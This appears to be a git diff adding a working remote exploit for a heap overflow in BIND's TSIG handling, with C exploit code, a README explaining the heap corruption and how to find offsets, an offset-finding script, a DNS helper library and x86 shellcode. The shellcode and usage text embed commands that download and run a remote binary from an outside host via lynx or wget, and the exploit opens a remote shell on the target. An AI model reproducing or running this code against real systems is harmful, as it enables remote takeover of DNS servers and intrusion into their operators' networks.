453 fprintf (stderr, "for each packet we will leave one socket open\n");
454 fprintf (stderr, "[");
455 fflush (stderr);
456
457 /* build buffer: <jmp-nops> <shellcode> <remspace>
458 * cant be simpler ;)
459 * remspace is not send to the remote side at all
460 */
461 dbuf_len_send = dbuf_len_tell - 64;
462 for (i = 0 ; i < (dbuf_len_send - code_len) ; i += 2) {
463 dbuf[i] = '\xeb';
464 dbuf[i + 1] = '\x12';
465 }
466 for (i = (dbuf_len_send - code_len - 0x20) ;
467 i < (dbuf_len_send - code_len) ; ++i)
468 {
469 dbuf[i] = '\x90';
470// dbuf[i] = '\xcc';
471 }
472 memcpy (dbuf + dbuf_len_send - code_len,
473 code, code_len);
474
475 for (i = 0 ; i < count ; ++i) {
476 fprintf (stderr, "%1d", i % 10);
477 fflush (stderr);
478
479 sock[i] = get_connection (addr);
480 if (sock[i] < 0)
481 continue;
482
483 *(u_int16_t *)len = htons (dbuf_len_tell);
484 if (Xsend (sock[i], len, 2, 0) < 0) {
485 perror ("send_populators:len-sending:send");
486 exit (EXIT_FAILURE);
487 }
488 if (Xsend (sock[i], dbuf, dbuf_len_send, 0) < 0) {
489 perror ("send_populators:dbuf-sending:send");
490 exit (EXIT_FAILURE);
491 }
492 }
493
494 fprintf (stderr, "]\n\n");
495 fprintf (stderr, "successfully set up populator traps\n");
496
497 return (0);
498}
499
500
501int
502send_expl (struct addrinfo *addr)
503{
504 int s1 = -1, s2 = -1, s3 = -1, s4 = -1, err = 0;
505 int owrite_len, mallox_len, blue =0;
506 unsigned char owrite[65536], len[2];
507 unsigned char mallox[0x2000];
508
509 /* create the packets first */
510 owrite_len = mk_overwrite_pkt (owrite);
511 if (owrite_len > 65535) {
512 fprintf (stderr, "fuck..\n");
513 return (-1);
514 }
515
516 mallox_len = mk_malloc_pkt (mallox);
517
518 s1 = get_connection (addr);
519 s2 = get_connection (addr);
520 s3 = get_connection (addr);
521 if (s1 < 0 || s2 < 0 || s3 < 0) {
522 perror ("get_connection");
523 goto fail;
524 }
525
526 /* make named allocate the packet data */
527 *(u_int16_t *)len = htons (0x60);
528 if (Xsend (s1, len, 2, 0) < 0) {
529 perror ("send");
530 goto fail;
531 }
532
533 *(u_int16_t *)len = htons (owrite_len);
534 if (Xsend (s2, len, 2, 0) < 0) {
535 perror ("send");
536 goto fail;
537 }
538
539 /* server still expects more.. */
540 *(u_int16_t *)len = htons (mallox_len + 1);
541 if (Xsend (s3, len, 2, 0) < 2) {
542 perror ("send");
543 goto fail;
544 }
545
546 printf ("sending main part of malloc packet...\n");
547 if (Xsend (s3, mallox, mallox_len, 0) < (mallox_len)) {
548 perror ("malloc send");
549 goto fail;
550 }
551
552 sleepvis (5);
553
554 printf ("sending overwrite packet...\n");
555 /* overwrite the 3rd packet with the 2nd */
556 if (Xsend (s2, owrite, owrite_len, 0) < owrite_len) {
557 perror ("owrite_send");
558 goto fail;
559 }
560 while (blue < 65300) {
561 int n;
562
563 n = recv (s2, owrite, sizeof(owrite), 0);
564 if (n <= 0)
565 break;
566 blue += n;
567 }
568
569 close (s2);
570 s4 = get_warez_connection (addr);
571 if (s4 < 0) {
572 perror ("get_warez_connection");
573 return (-1);
574 }
575 fprintf (stderr, "sent overwrite packet...sleeping for 2 seconds\n");
576 sleepvis (2);
577
578 /* experimental reliability patch */
579 fprintf (stderr, "sending dummy packets with shellcode to populate the heap\n");
580 send_populators (addr, 20);
581 sleepvis (5);
582
583 fprintf (stderr, "freeing packet\n");
584 /* free the 3rd packet */
585 if (Xsend (s3, "a",1,0) < 1) {
586 perror ("malloc 2 send");
587 goto fail;
588 }
589 close(s3);
590 sleepvis (2);
591 fprintf (stderr, "doing close\n");
592 send (s1, mallox, 0x60, 0);
593 close (s1);
594 sleepvis (2);
595 fprintf (stderr, "doing fork-away and bogus connect to trigger close...\n");
596 if (fork () == 0) {
597 send_bogus (addr);
598 exit (EXIT_SUCCESS);
599 }
600
601 if (mass == 1) {
602 sleepvis (5);
603 fprintf (stderr, "egg placed, may the force be with you.\n");
604 exit (EXIT_SUCCESS);
605 }
606
607 fprintf (stderr, "trying shell....\n");
608 fprintf (stderr, "advice: be patient, if it does not seem react here, wait. BIND may be in\n");
609 fprintf (stderr, " an unstable state, but we will send a bogus packet in 10 seconds.\n");
610 fprintf (stderr, " if it does react after some minutes, but behaves blocky,\n");
611 fprintf (stderr, " something went wrong, but you can still type blind and wait a\n");
612 fprintf (stderr, " few minutes for it to react, sorry.\n");
613 fprintf (stderr, "-------------------------------------------------------------------------\n");
614
615#ifndef TRUST_THE_MAGIC
616 write (s4, xp_initstr, strlen (xp_initstr));
617#endif
618 runshell (s4);
619
620 err++;
621fail:
622 err--;
623 close (s1);
624 close (s2);
625 close (s3);
626 return (err);
627}
628
629int
630send_exploit (char *hname)
631{
632 struct addrinfo *addr, hints;
633 int err = 0;
634
635 memset (&hints, 0, sizeof(hints));
636 hints.ai_flags = AI_CANONNAME;
637 hints.ai_family = PF_UNSPEC;
638 hints.ai_socktype = SOCK_STREAM;
639 err = getaddrinfo (hname, "domain", &hints, &addr);
640 if (err) {
641 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (err));
642 return (-1);
643 }
644
645 if (check_version) {
646 unsigned char verbuf[64];
647
648 fprintf (stderr, "probing for BIND version %s\n", vec->verstr);
649 memset (verbuf, '\0', sizeof (verbuf));
650 bind_version (addr, verbuf, sizeof (verbuf));
651 verbuf[sizeof (verbuf) - 1] = '\0';
652 if (strcmp (verbuf, vec->verstr) != 0) {
653 fprintf (stderr, "remote uses BIND version \"%s\",\n"
654 "while the vector is for BIND version \"%s\".\n"
655 "use -n option to override, but know what you do\n",
656 verbuf, vec->verstr);
657
658 exit (EXIT_FAILURE);
659 }
660 fprintf (stderr, "remote uses correct version: \"%s\"\n", verbuf);
661 }
662
663
664 err = send_expl (addr);
665
666 freeaddrinfo (addr);
667
668 return (err);
669}
670
671void
672usage (char *prg)
673{
674 fprintf (stderr, "usage: %s [-h ip] [-t target] [mass commands]\n\n", prg);
675 fprintf (stderr, "-c mass mode. experts only\n");
676 fprintf (stderr, "-n do NOT check for the correct BIND version\n");
677 fprintf (stderr, "-h ip set target ip (default: 127.0.0.1)\n");
678 fprintf (stderr, "-t target set target, zero gives a list\n\n");
679
680 fprintf (stderr, "example: %s -h 127.0.0.1 -t 4 -c -- /bin/sh -c \\\n"
681 "\t\"cd /tmp;wget foo.org/bar;chmod +x bar;./bar\"\n\n", prg);
682
683 exit (EXIT_FAILURE);
684}
685
686int
687main (int argc, char **argv)
688{
689 char c;
690 char * dest = "127.0.0.1";
691 int target = 0;
692 unsigned char codebuf[256];
693
694 if (argc == 1)
695 usage (argv[0]);
696
697 while ((c = getopt (argc, argv, "cnh:t:")) != EOF) {
698 switch (c) {
699 case 'c':
700 mass = 1;
701 break;
702 case 'n':
703 check_version = 0;
704 break;
705 case 'h':
706 dest = optarg;
707 break;
708 case 't':
709 if (atoi (optarg) == 0) {
710 target_t *ptr;
711 int ctr;
712
713 printf ("\tno system BIND version\n");
714 printf ("\t--- ------------------------------ ---------------\n");
715 for (ctr = 1, ptr = targets; ptr->name; ++ptr, ++ctr)
716 fprintf (stderr, "\t%2d: %-30s %-15s\n%s", ctr,
717 ptr->name, ptr->verstr,
718 ptr->nl == 1 ? "\n" : "");
719 exit (EXIT_FAILURE);
720 }
721 target = atoi (optarg);
722
723 break;
724 default:
725 usage (argv[0]);
726 break;
727 }
728 }
729
730 /* one remaining argument (script file name)
731 */
732 if (mass == 1 && (argc - optind) == 0)
733 usage (argv[0]);
734
735 if (mass == 1) {
736 int len;
737
738 len = sc_build_x86_lnx (codebuf, sizeof (codebuf),
739 x86_lnx_execve, &argv[optind]);
740
741 fprintf (stderr, "created %d byte execve shellcode\n", len);
742
743 code = codebuf;
744 code_len = len;
745 }
746
747 target -= 1;
748 if (target >= target_cnt)
749 target = 0;
750 vec = &targets[target];
751
752 fprintf (stderr, "using: %s\n", vec->name);
753 fprintf (stderr, "against: %s\n", dest);
754 fprintf (stderr, "\n");
755
756 srand (time (NULL));
757
758 send_exploit (dest);
759
760 return (EXIT_SUCCESS);
761}
762
763
764void
765bind_version (struct addrinfo *addr, unsigned char *verbuf,
766 unsigned long int verlen)
767{
768 int s1;
769 unsigned char pkt[] =
770 "\x00\x06\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00"
771 "\x07\x76\x65\x72\x73\x69\x6f\x6e\x04\x62\x69\x6e"
772 "\x64\x00\x00\x10\x00\x03";
773 unsigned char * ver;
774 unsigned char resp[256];
775 unsigned char len[2];
776
777 s1 = get_connection (addr);
778 if (s1 < 0) {
779 perror ("bind_version:connect");
780 exit (EXIT_FAILURE);
781 }
782
783 *(u_int16_t *)len = htons (30);
784 if (Xsend (s1, len, 2, 0) < 0) {
785 perror ("bind_version:send-len");
786 exit (EXIT_FAILURE);
787 }
788
789 if (Xsend (s1, pkt, 30, 0) < 30) {
790 perror ("bind_version:send-data");
791 exit (EXIT_FAILURE);
792 }
793
794 memset (resp, '\0', sizeof (resp));
795 if (Xread (s1, resp, sizeof (resp) - 1) < 0) {
796 perror ("bind_version:read-data");
797 exit (EXIT_FAILURE);
798 }
799
800 ver = resp + sizeof (resp) - 1;
801 while (ver > resp && *ver == '\0')
802 --ver;
803 while (ver > resp && isprint (*ver) && *ver >= 0x20)
804 --ver;
805 if (*ver < 0x20)
806 ++ver;
807 strncpy (verbuf, ver, verlen);
808
809 close (s1);
810}
811
812
813static int
814sc_build_x86_lnx (unsigned char *target, size_t target_len, unsigned char *shellcode,
815 char **argv)
816{
817 int i;
818 size_t tl_orig = target_len;
819
820
821 if (strlen (shellcode) >= (target_len - 1))
822 return (-1);
823
824 memcpy (target, shellcode, strlen (shellcode));
825 target += strlen (shellcode);
826 target_len -= strlen (shellcode);
827
828 for (i = 0 ; argv[i] != NULL ; ++i)
829 ;
830
831 /* set argument count
832 */
833 target[0] = (unsigned char) i;
834 target++;
835 target_len--;
836
837 for ( ; i > 0 ; ) {
838 i -= 1;
839
840 if (strlen (argv[i]) >= target_len)
841 return (-1);
842
843 printf ("[%3d/%3d] adding (%2d): %s\n",
844 (tl_orig - target_len), tl_orig,
845 strlen (argv[i]), argv[i]);
846
847 memcpy (target, argv[i], strlen (argv[i]));
848 target += strlen (argv[i]);
849 target_len -= strlen (argv[i]);
850
851 target[0] = (unsigned char) (i + 1);
852 target++;
853 target_len -= 1;
854 }
855
856 return (tl_orig - target_len);
857}
diff --git a/other/tsig/Makefile b/other/tsig/Makefile
new file mode 100644
index 0000000..6010ccd
--- /dev/null
+++ b/other/tsig/Makefile
@@ -0,0 +1,10 @@
1CC = gcc
2CFLAGS = -Wall -g -ggdb
3OBJS = tcp.o dnslib.o
4all: tsig
5
6tsig: $(OBJS)
7 $(CC) -o $@ $(OBJS)
8
9clean:
10 rm -rf $(OBJS) tsig
diff --git a/other/tsig/README b/other/tsig/README
new file mode 100644
index 0000000..da4ce79
--- /dev/null
+++ b/other/tsig/README
@@ -0,0 +1,83 @@
1VULNERABILITY INFORMATION
2
3The overflow occurs when BIND overwrites your TSIG record with its own, after
4the end of the question section without proper bounds checking.
5The overwritten data appears to be:
6
700 00 fa 00 ff 00 00 00 00 ll ll 00 00 00 tt tt tt tt 01 2c 00 00
8id id 00 11 00 00
9
10where:
11 id is the original dns id
12 ll is the rdlength
13 tt is the time it was signed
14
15TCP EXPLOITATION INFORMATION FROM SCUT
16
17With TCP, packet space is allocated on the heap, always in 65536 sized
18chunks. To exploit it one must obtain two packet chunks directly bordering.
19To make named allocate space you must send at least the 2 initial bytes which
20indicate the length of the packet. Creating just 2 allocated packets doesn't
21work because of the many little things which are allocated inbetween
22connections. I still don't have a completely reliable way of getting two
23consecutive packets...
24
25I overwrite the length with 'id id 00 11' where id is the DNS ID in the header
26of the packet you sent. This is set to 0 of course. The advantage with this
27is PREV_INUSE flag is set, so when its freed it doesnt try to consolidate the
28previous block so the prev_size you just overwrote doesnt matter. The actual
29length of the chunk is now 0x10, so there is 8 junk bytes, and then another
30chunk which you can fully control, woohoo ;) malloc should try and consolidate
31the two 'chunks', which should cause an overwrite.....
32
33The layout of the 3rd packet after the overwrite will be:
34
35<prev_size = 0><size = 0x11><junk> ...
36^^^^^^^^^^^^^^^^^^^^^^^^^^^^
37 Overwritten -^
38
39 mark previous as in use-.
40 v
41<prev_size = 0><size = 0x11><retloc - 12><buffer + 12 + 1>...
42
43 mark previous as not in use-.
44 v
45<prev_size = 0x10><size = 0x10><junk 8 bytes>
46
47 mark previous as in use-.
48 v
49<prev_size = 0><size = 0x11><junk 8 bytes>
50
51
52Important - after you send the complete overwrite packet remember to read
53the response frmo the server, it will be about 65545 bytes, otherwise the
54server hangs trying to send you data and the exploit doesn't work.
55
56OFFSETS
57
58Getting offsets for the udp simple method is relatively easy, it just takes
59some single stepping skill, and knowledge of basic stack layout. For the
60complex udp method its very difficult and time-consuming, and i don't
61really have a systematic way of doing it.
62TCP is much easier. Just do:
63
64ltrace -e malloc -p `pidof named`
65
66as root and watch the output as you create three simultaneous connections
67and send two bytes on each. BIND should allocate memory for each connection
68and the one you want is the second one. Add 13, and this is 'buf_addr' in
69target_t. Then just do:
70
71$ gdb /usr/sbin/named
72(gdb) disass close
73Dump of assembler code for function close:
740x8049fa8 <close>: jmp *0x80f7230
750x8049fae <close+6>: push $0xa0
760x8049fb3 <close+11>: jmp 0x8049e58
77End of assembler dump.
78(gdb)
79
80The '0x80f7230' is the one you want for 'retloc' in target_t. And thats it!
81Don't you just love the GOT ? :)
82
83or just use find-offset.sh.....
diff --git a/other/tsig/TODO b/other/tsig/TODO
new file mode 100644
index 0000000..7ecb04c
--- /dev/null
+++ b/other/tsig/TODO
@@ -0,0 +1,2 @@
1Add many connections to create huge padded buffer
2Collect more offsets
diff --git a/other/tsig/dnslib.c b/other/tsig/dnslib.c
new file mode 100644
index 0000000..25bb41c
--- /dev/null
+++ b/other/tsig/dnslib.c
@@ -0,0 +1,270 @@
1#include <stdio.h>
2#include "dnslib.h"
3#include <sys/types.h>
4#include <sys/socket.h>
5#include <netinet/in.h>
6#include <arpa/inet.h>
7
8int
9dns_mklongdn (u_char *cp, int length)
10{
11 int orig_len = length;
12
13 if (length == 0)
14 return (0);
15
16again:
17 if (length <= 64) {
18 if (length == 1) {
19 fprintf (stderr, "fuck...\n");
20 exit (-1);
21 }
22 *cp++ = length - 1;
23 memset (cp, 'A', length - 1);
24 cp += length - 1;
25 return (orig_len);
26 } else {
27 if (length == 65) {
28 /* we don't want just 1 byte left over */
29 *cp++ = 0x3e;
30 memset (cp, 'A', 0x3f);
31 cp += 0x3f;
32 length -= 0x3f;
33 } else {
34 *cp++ = 0x3f;
35 memset (cp, 'A', 0x3f);
36 cp += 0x3f;
37 length -= 0x40;
38 }
39 goto again;
40 }
41
42 return (orig_len);
43}
44
45static void
46hex_dump (unsigned char *buf, int len)
47{
48 if (len > 0x50)
49 len = 0x50;
50 while (len--) {
51 fprintf (stderr, "%01x ", *buf++);
52 }
53}
54
55void
56dns_debug (unsigned char *buf)
57{
58 HEADER *hdr;
59 unsigned char *orig = buf;
60 unsigned char tmp[1024];
61 int i;
62
63 hdr = (HEADER *)buf;
64
65 fprintf (stderr,
66 "qr = %d\n"
67 "id = %d\n"
68 "opcode = %d\n"
69 "aa = %d\n"
70 "tc = %d\n"
71 "rd = %d\n"
72 "ra = %d\n"
73 "rcode = %d\n"
74 "qdcount = %d\n"
75 "ancount = %d\n"
76 "nscount = %d\n"
77 "arcount = %d\n",
78 hdr->qr, ntohs(hdr->id), hdr->opcode, hdr->aa, hdr->tc,
79 hdr->rd, hdr->ra, hdr->rcode,
80 ntohs (hdr->qdcount), ntohs(hdr->ancount),
81 ntohs (hdr->nscount), ntohs (hdr->arcount));
82
83 buf += NS_HFIXEDSZ;
84
85 i = ntohs (hdr->qdcount);
86 while (i--) {
87 u_int16_t type, klass;
88
89 buf += dns_dn_expand (buf, tmp, orig);
90 NS_GET16 (type, buf);
91 NS_GET16 (klass, buf);
92 fprintf (stderr, "\n%s %d %d\n", tmp, type, klass);
93 }
94
95 i = ntohs (hdr->ancount) + ntohs (hdr->nscount) + ntohs (hdr->arcount);
96 while (i--) {
97 u_int16_t type, klass, rdlength;
98 u_int32_t ttl;
99
100 buf += dns_dn_expand (buf, tmp, orig);
101 fprintf (stderr, "%s ", tmp);
102 NS_GET16 (type, buf);
103 NS_GET16 (klass, buf);
104 NS_GET32 (ttl, buf);
105 NS_GET16 (rdlength, buf);
106
107 fprintf (stderr, "%d %d ", type, klass);
108 switch (type) {
109 case ns_t_a:
110 fprintf (stderr, "%s\n", inet_ntoa (*(struct in_addr *)buf));
111 break;
112 case ns_t_ptr:
113 case ns_t_cname:
114 case ns_t_ns:
115 dns_dn_expand (buf, tmp, orig);
116 fprintf (stderr, "%s\n", tmp);
117 break;
118 default:
119 hex_dump (buf, rdlength);
120 }
121 buf += rdlength;
122 }
123
124}
125
126/* make a full dns query including header. Returns length of packet.
127 */
128int
129dns_mkquery (char *name, u_char *buffer, u_int16_t id, ns_type type, ns_class klass)
130{
131 HEADER *head;
132
133 head = (HEADER *)buffer;
134
135 bzero (head, NS_HFIXEDSZ);
136 head->id = htons (id);
137 head->qr = 0;
138 head->opcode = 0;
139 head->aa = 0;
140 head->tc = 0;
141 head->rd = 1;
142 head->ra = 0;
143 head->rcode = 0;
144 head->qdcount = htons (1);
145 head->ancount = 0;
146 head->nscount = 0;
147 head->arcount = 0;
148
149 return (dns_mkqbody (name, buffer + NS_HFIXEDSZ, type, klass) + NS_HFIXEDSZ);
150}
151
152/* convert a \0-terminated string to a DNS domain name.
153 * www.yahoo.com(.) => \003www\005yahoo\003\com\000
154 */
155int
156dns_mkdn (char *in, u_char *out)
157{
158 char *start = in, c = 0;
159 int n = strlen (in);
160
161 in += n - 1;
162 out += n + 1;
163
164 *out-- = 0;
165
166 n = 0;
167 while (in >= start) {
168 c = *in--;
169 if (c == '.') {
170 *out-- = n;
171 n = 0;
172 } else {
173 *out-- = c;
174 n++;
175 }
176 }
177
178 if (n)
179 *out-- = n;
180
181 return (strlen (out + 1) + 1);
182}
183
184/* simple function for making a, ptr and ns resource records
185 * doesn't support more complicated stuph.
186 */
187
188int
189dns_mkrr (char *name, u_char *buf, ns_type type, ns_class klass,
190 char *rdata, u_int32_t ttl)
191{
192 int n;
193 rrec_body *rec;
194 u_char *ptr = buf;
195
196 /* name the resource record pertains too */
197 ptr += dns_mkdn (name, ptr);
198 rec = (rrec_body *)ptr;
199 rec->type = htons (type);
200 rec->klass = htons (klass);
201 rec->ttl = htonl (ttl);
202 rec->rdlength = 0;
203 ptr += 10;
204
205 switch (type) {
206 case ns_t_a:
207 *(u_int32_t *)ptr = inet_addr (rdata);
208 rec->rdlength = htons (4);
209 ptr += 4;
210 break;
211 case ns_t_ptr:
212 case ns_t_ns:
213 n = dns_mkdn (rdata, ptr);
214 ptr += n;
215 rec->rdlength = htons (n);
216 break;
217 default:
218 /**/
219 }
220 return (ptr - buf);
221}
222
223/* make just the body of a DNS query.
224 */
225int
226dns_mkqbody (char *name, u_char *buffer, ns_type type, ns_class klass)
227{
228 int len;
229
230 len = dns_mkdn (name, buffer);
231 buffer += len;
232 NS_PUT16 (type, buffer);
233 NS_PUT16 (klass, buffer);
234 return (len + 4);
235}
236
237
238/* uncompress compressed dns names. ugh.
239 * works for normal formatted dns names too..
240 * returns the length of the first part of the compressed name (i.e.
241 * before redirection).
242 */
243
244int
245dns_dn_expand (u_char *in, char *out, u_char *msg)
246{
247 u_char *start = in, *end = NULL;
248 u_char len;
249 u_int16_t off;
250
251 while ((len = *in++)) {
252 if (len & NS_CMPRSFLGS) {
253 if (end == NULL)
254 end = in + 1;
255 off = (len & ~NS_CMPRSFLGS);
256 off |= *in++ << 8;
257 off = ntohs (off);
258 in = msg + off;
259 continue;
260 }
261 memcpy (out, in, len);
262 out += len;
263 in += len;
264 *out++ = '.';
265 }
266 if (end == NULL)
267 end = in;
268 *out++ = 0;
269 return (end - start);
270}
diff --git a/other/tsig/dnslib.h b/other/tsig/dnslib.h
new file mode 100644
index 0000000..ccf4bfb
--- /dev/null
+++ b/other/tsig/dnslib.h
@@ -0,0 +1,58 @@
1/* dns helper functions by smiler / teso
2 * requires bind 8.x headers now
3 */
4
5#ifndef DNSLIB_H
6#define DNSLIB_H
7#include <stdlib.h>
8#include <string.h>
9#include <sys/types.h>
10#include <arpa/nameser.h>
11
12/* little endian macros */
13
14#define NS_LPUT16(s, blah) { \
15 u_char *p = blah; \
16 *(u_int16_t *)p = s; \
17 blah += 2; \
18}
19
20#define NS_LPUT32(s, blah) { \
21 u_char *p = blah; \
22 *(u_int32_t *)p = s; \
23 blah += 4; \
24}
25
26/* make a fully blown query packet */
27int dns_mkquery (char *name, u_char *buffer, u_int16_t id, ns_type type, ns_class klass);
28
29/* make a query record */
30int dns_mkqbody (char *name, u_char *buffer, ns_type type, ns_class klass);
31
32/* convert to dns names, i.e. www.yahoo.com ==> \003www\005yahoo\003com\000 */
33int dns_mkdn (char *in, u_char *out);
34
35/* uncompress (unchecked) a dns name */
36int dns_dn_expand (u_char *in, char *out, u_char *msg);
37
38/* make a long dns name fragment (without terminating \000)
39 * provided length > 1
40 */
41int dns_mklongdn (u_char *cp, int length);
42
43/* print debug information to stderr
44 */
45void dns_debug (unsigned char *buf);
46
47typedef struct {
48 u_int16_t type;
49 u_int16_t klass;
50 u_int32_t ttl;
51 u_int16_t rdlength;
52} rrec_body;
53
54/* create a resource record */
55int dns_mkrr (char *name, u_char *buf, ns_type type, ns_class klass,
56 char *rdata, u_int32_t ttl);
57
58#endif /* DNSLIB_H */
diff --git a/other/tsig/dnslib.o b/other/tsig/dnslib.o
new file mode 100644
index 0000000..b3a63db
--- /dev/null
+++ b/other/tsig/dnslib.o
Binary files differ
diff --git a/other/tsig/find-offset.sh b/other/tsig/find-offset.sh
new file mode 100644
index 0000000..2338253
--- /dev/null
+++ b/other/tsig/find-offset.sh
@@ -0,0 +1,87 @@
1#!/bin/sh
2
3check_util ()
4{
5 for util in $*; do
6 echo -n "checking for $util: "
7 if ! which $util; then
8 echo "not found, aborting"
9 exit
10 fi
11 done
12}
13
14echo "7350 tsig exploit tcp offset finder"
15
16if [ $# != 2 ]; then
17 echo "usage: $0 /path/to/named/binary pid-of-running-named"
18 echo
19 exit
20fi;
21
22check_util ltrace objdump gcc
23
24cat > lala.c << EOF
25#include <stdio.h>
26#include <netinet/in.h>
27#include <sys/types.h>
28#include <sys/socket.h>
29
30int
31get_connect (void)
32{
33 int sock;
34 struct sockaddr_in sin;
35
36 memset (&sin, 0, sizeof(sin));
37
38 sock = socket(AF_INET, SOCK_STREAM, 0);
39 if (sock < 0) {
40 perror ("socket");
41 exit (-1);
42 }
43 sin.sin_addr.s_addr = inet_addr("127.0.0.1");
44 sin.sin_port = htons (53);
45 sin.sin_family = AF_INET;
46 if (connect (sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
47 perror ("connect");
48 exit (-1);
49 }
50 send (sock, "aa", 2, 0);
51}
52
53int
54main (int argc, char **argv)
55{
56 get_connect();
57 get_connect();
58 get_connect();
59 return(0);
60}
61EOF
62gcc lala.c -o lala
63ltrace -e malloc -p $2 -o ltrace-log &
64ltrace_pid="$!"
65./lala
66kill -INT ${ltrace_pid}
67cat ltrace-log | head -2 | tail -1 > tmp
68cat tmp | cut -d '=' -f2 | cut -c4- > ltrace-log
69HEH=`cat ltrace-log| tr 'a-z' 'A-Z'`
70cat > dc << EOF
7116
72o
7316
74i
75EOF
76echo ${HEH} >> dc
77echo "D" >> dc
78echo "+" >> dc
79echo "p" >> dc
80ret_addr=`dc ./dc`
81echo $HEH
82echo "set ret_addr to 0x$ret_addr"
83rm -f ltrace-log tmp lala.c lala dc
84
85HEH=`objdump --dynamic-reloc $1 | grep " close$" | cut -f1 -d ' '`
86HEH="0x$HEH"
87echo "set retloc to $HEH"
diff --git a/other/tsig/obsolete/find-offset.sh b/other/tsig/obsolete/find-offset.sh
new file mode 100644
index 0000000..2338253
--- /dev/null
+++ b/other/tsig/obsolete/find-offset.sh
@@ -0,0 +1,87 @@
1#!/bin/sh
2
3check_util ()
4{
5 for util in $*; do
6 echo -n "checking for $util: "
7 if ! which $util; then
8 echo "not found, aborting"
9 exit
10 fi
11 done
12}
13
14echo "7350 tsig exploit tcp offset finder"
15
16if [ $# != 2 ]; then
17 echo "usage: $0 /path/to/named/binary pid-of-running-named"
18 echo
19 exit
20fi;
21
22check_util ltrace objdump gcc
23
24cat > lala.c << EOF
25#include <stdio.h>
26#include <netinet/in.h>
27#include <sys/types.h>
28#include <sys/socket.h>
29
30int
31get_connect (void)
32{
33 int sock;
34 struct sockaddr_in sin;
35
36 memset (&sin, 0, sizeof(sin));
37
38 sock = socket(AF_INET, SOCK_STREAM, 0);
39 if (sock < 0) {
40 perror ("socket");
41 exit (-1);
42 }
43 sin.sin_addr.s_addr = inet_addr("127.0.0.1");
44 sin.sin_port = htons (53);
45 sin.sin_family = AF_INET;
46 if (connect (sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
47 perror ("connect");
48 exit (-1);
49 }
50 send (sock, "aa", 2, 0);
51}
52
53int
54main (int argc, char **argv)
55{
56 get_connect();
57 get_connect();
58 get_connect();
59 return(0);
60}
61EOF
62gcc lala.c -o lala
63ltrace -e malloc -p $2 -o ltrace-log &
64ltrace_pid="$!"
65./lala
66kill -INT ${ltrace_pid}
67cat ltrace-log | head -2 | tail -1 > tmp
68cat tmp | cut -d '=' -f2 | cut -c4- > ltrace-log
69HEH=`cat ltrace-log| tr 'a-z' 'A-Z'`
70cat > dc << EOF
7116
72o
7316
74i
75EOF
76echo ${HEH} >> dc
77echo "D" >> dc
78echo "+" >> dc
79echo "p" >> dc
80ret_addr=`dc ./dc`
81echo $HEH
82echo "set ret_addr to 0x$ret_addr"
83rm -f ltrace-log tmp lala.c lala dc
84
85HEH=`objdump --dynamic-reloc $1 | grep " close$" | cut -f1 -d ' '`
86HEH="0x$HEH"
87echo "set retloc to $HEH"
diff --git a/other/tsig/shellcode/execve-shellcode.s b/other/tsig/shellcode/execve-shellcode.s
new file mode 100644
index 0000000..25015cf
--- /dev/null
+++ b/other/tsig/shellcode/execve-shellcode.s
@@ -0,0 +1,49 @@
1/* 38 byte arbitrary execve PIC linux/x86 shellcode - scut/teso */
2
3.data
4.globl cbegin
5.globl cend
6
7cbegin:
8
9 jmp jahead
10
11docall:
12 pop %edi
13
14 xorl %eax, %eax /* read number of arguments */
15 push %eax
16 movb (%edi), %al
17 inc %edi
18
19decl1: push %edi
20decl2: scasb /* search delim bytes */
21 jnz decl2
22
23 movb %ah, -1(%edi)
24 dec %eax
25 jnz decl1
26
27 pop %ebx /* pathname */
28 push %ebx
29
30 push %eax
31 pop %edx /* esp -= 4, edx = &envp[] = NULL */
32 movl %esp, %ecx /* ecx = &argv[] */
33
34 movb $11, %al
35 int $0x80
36
37jahead: call docall
38
39/* reverse order arguments */
40.byte 0x03 /* number of arguments */
41.ascii "lynx -source 123.123.123.123/a>a;chmod +x a;echo ./a"
42.byte 0x03
43.ascii "-c"
44.byte 0x02
45.ascii "/bin/sh"
46.byte 0x01
47
48cend:
49
diff --git a/other/tsig/shellcode/peername.s b/other/tsig/shellcode/peername.s
new file mode 100644
index 0000000..61cab0a
--- /dev/null
+++ b/other/tsig/shellcode/peername.s
@@ -0,0 +1,79 @@
1.globl cbegin
2.globl cend
3
4cbegin:
5 xor %ebx,%ebx
6 mov $0x7,%bl
7 mov %esp,%edx
8 jmp label1
9 stos %al,%es:(%edi)
10 stos %al,%es:(%edi)
11 stos %al,%es:(%edi)
12 stos %al,%es:(%edi)
13 stos %al,%es:(%edi)
14 stos %al,%es:(%edi)
15 stos %al,%es:(%edi)
16 stos %al,%es:(%edi)
17 stos %al,%es:(%edi)
18
19label1:
20 push $0x10
21 mov %esp,%ecx
22 push %ecx
23 push %edx
24 push $0xfe
25 mov %esp,%ecx
26label2:
27 xor %eax,%eax
28 mov $0x66,%al
29 int $0x80
30 test $0xff,%al
31 jne label3
32 cmpw $0x5234,0x12(%esp,1)
33 je label4
34label3:
35 pop %edx
36 test $0xff,%dl
37 je label7
38 dec %dl
39 push %edx
40 jmp label2
41.ascii "\x38"
42label4:
43 pop %ebx
44 xor %ecx,%ecx
45 mov $0x3,%cl
46label5:
47 dec %cl
48 xor %eax,%eax
49 mov $0x3f,%al
50 int $0x80
51 jcxz label6
52 jmp label5
53label6:
54 push $0x4
55 push $0x0
56 push $18
57 push $1
58 push %ebx
59 movl $102, %eax
60 movl $14, %ebx
61 movl %esp, %ecx
62 int $0x80
63 push $0x0
64 push $0x0
65 push $0x68732f
66 push $0x6e69622f
67 lea 0x8(%esp,1),%ecx
68 lea 0xc(%esp,1),%edx
69 mov %esp,(%ecx)
70 mov %esp,%ebx
71 xor %eax,%eax
72 mov $0xb,%al
73 int $0x80
74label7:
75 xor %eax,%eax
76 inc %al
77 int $0x80
78cend:
79
diff --git a/other/tsig/shellcode/shellcode.c b/other/tsig/shellcode/shellcode.c
new file mode 100644
index 0000000..0239f12
--- /dev/null
+++ b/other/tsig/shellcode/shellcode.c
@@ -0,0 +1,48 @@
1/* shellcode extraction utility,
2 * by typo / teso, small mods by scut.
3 */
4
5
6#include <stdio.h>
7#include <stdlib.h>
8#include <ctype.h>
9
10extern void cbegin ();
11extern void cend ();
12
13
14int
15main (int argc, char *argv[])
16{
17 int i;
18 unsigned char * buf = (unsigned char *) cbegin;
19 unsigned char ex_buf[1024];
20
21
22 printf ("/* %d byte shellcode */\n", cend - cbegin);
23 printf ("\"");
